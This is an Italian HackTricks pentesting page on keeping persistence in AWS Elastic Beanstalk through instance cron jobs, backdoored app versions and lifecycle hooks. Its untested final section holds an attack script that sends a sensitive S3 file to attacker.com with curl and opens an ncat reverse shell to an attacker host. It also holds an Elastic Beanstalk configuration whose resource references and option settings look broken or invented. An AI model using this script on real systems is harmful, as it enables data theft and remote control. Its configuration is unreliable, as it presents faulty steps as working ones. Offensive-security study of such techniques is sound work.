AWS - Elastic Beanstalk Persistence

Supporta HackTricks

Elastic Beanstalk

Per maggiori informazioni controlla:

AWS - Elastic Beanstalk Enum

Persistenza nell'istanza

Per mantenere la persistenza all'interno dell'account AWS, alcuni meccanismi di persistenza potrebbero essere introdotti all'interno dell'istanza (cron job, chiave ssh...) in modo che l'attaccante possa accedervi e rubare le credenziali del ruolo IAM dal servizio di metadata.

Backdoor nella versione

Un attaccante potrebbe inserire una backdoor nel codice all'interno del repository S3 in modo che esegua sempre la sua backdoor e il codice previsto.

Nuova versione con backdoor

Invece di cambiare il codice nella versione attuale, l'attaccante potrebbe distribuire una nuova versione dell'applicazione con backdoor.

Abuso dei Custom Resource Lifecycle Hooks

TODO: Test

Elastic Beanstalk fornisce lifecycle hooks che permettono di eseguire script personalizzati durante il provisioning e la terminazione delle istanze. Un attaccante potrebbe configurare un lifecycle hook per eseguire periodicamente uno script che esfiltra dati o mantiene l'accesso all'account AWS.

bashCopy code# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh

# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh

# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml

# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
Supporta HackTricks

Last updated